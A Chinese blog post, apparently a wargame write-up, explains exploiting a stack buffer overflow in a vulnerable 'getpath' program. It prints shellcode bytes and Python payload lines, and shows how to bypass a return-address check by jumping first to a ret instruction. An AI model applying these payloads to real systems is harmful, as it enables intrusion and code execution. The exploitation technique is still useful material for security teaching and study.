缓冲区溢出之返回地址保护

来源:互联网 发布:腹肌撕裂者软件 编辑:程序博客网 时间:2024/06/06 16:37

首先普及一下下面知识,如果没有返回地址保护完全可以用下面方法:

执行shellcode
Shellcode指缓冲区溢出攻击中植入进程的恶意代码,这段代码可以弹出一个消息框,也可以在目标机器上打开一个监听端口,甚至是删除目标机器上的重要文件等。
Shellcode通常需要使用汇编语言进行开发,并转换成二进制机器码,其内容和长度经常还会受到很多实际条件的限制,因此开发Shellcode通常 都是非常困难的。在实际场景中,我们通常使用Metasploit这个工具来定制各种功能的Shellcode,当然也可以去网上查找一些现有的 Shellcode进行测试,通常在shell-storm以及exploit-db等网站上都能找到一些比较成熟和稳定的shellcode,网址为:
http://shell-storm.org/shellcode/

http://www.exploit-db.com/shellcode/

执行shellcode:
从返回地址处开始执行shellcode代码即可
即返回到恶意代码处
例如:
shellcode = (“\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe” +
“\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff” +
“\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69” +
“\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81”)

print ‘A’*76 + ‘\xd0\xd6\xff\xff’ + shellcode 程序执行完返回时就会返回到shellcode

执行python pwn6.py > test (输出为test文件)
./pwn6 < test (文件出输出到pwn6参数)
在gdb里: r < test也可以

怎么实现保护呢 看下面的函数,是不是有了大概思路? (●ˇ∀ˇ●)
__builtin_return_address函数接收一个参数,可以是0,1,2等。__builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取主调函数的返回地址。(builtin——内置)
void getpath()

{

char buffer[64];unsigned int ret;printf("input path please: ");fflush(stdout);gets(buffer);   //这里溢出ret = __builtin_return_address(0);//这里获取返回地址if ((ret & 0xbf000000) == 0xbf000000)  //这里实现返回地址保护{    printf("bzzzt (%p)\n", ret);    _exit(1);}printf("got path %s\n", buffer);

}
怎么实现的保护呢
正常情况下返回地址高位为0x08即ret!=0xbf或者0xff
这里写图片描述
而我们的shellcode只能存到堆栈区也就是0xff开头

int main(int argc, char** argv)

{

getpath();return 0;

}
这里写图片描述

接下来就是思考如何在返回地址为0x08这种地址的情况下执行我们的代码

我们知道retn指令其实就是把返回地址pop到EIP即pop EIP(所谓返回地址不过就是call执行完要执行的指令的地址)
我们完全可以把返回地址改为该函数最后的retn的地址
想一下这样会让程序返回到哪 (注意:程序的返回地址是编译器找到的,编译完成后返回地址的位置就是它认定的了)
没错,它会执行返回语句,也就是执行pop eip 我们只需要把这时候栈顶的数据改成我们想要它执行的地址就行了 (●ˇ∀ˇ●)
这个图写的挺清楚
这里写图片描述
接下来就是实现的命令了:
print ‘A’*80 + ‘\xe9\x84\x04\x08’ + ‘\xc4\xd6\xff\xff’ + shellcode
之前的计算,栈顶到缓冲区是80个字节 0x800484e9是retn的地址,后面是弹出 0x800484e9之后在栈顶的地址,也就是shellcode的起始地址
总结:没保护我就直接执行需要的地址,有保护我就伪装一下再跳。(●ˇ∀ˇ●)

结束!!!!!!

原创粉丝点击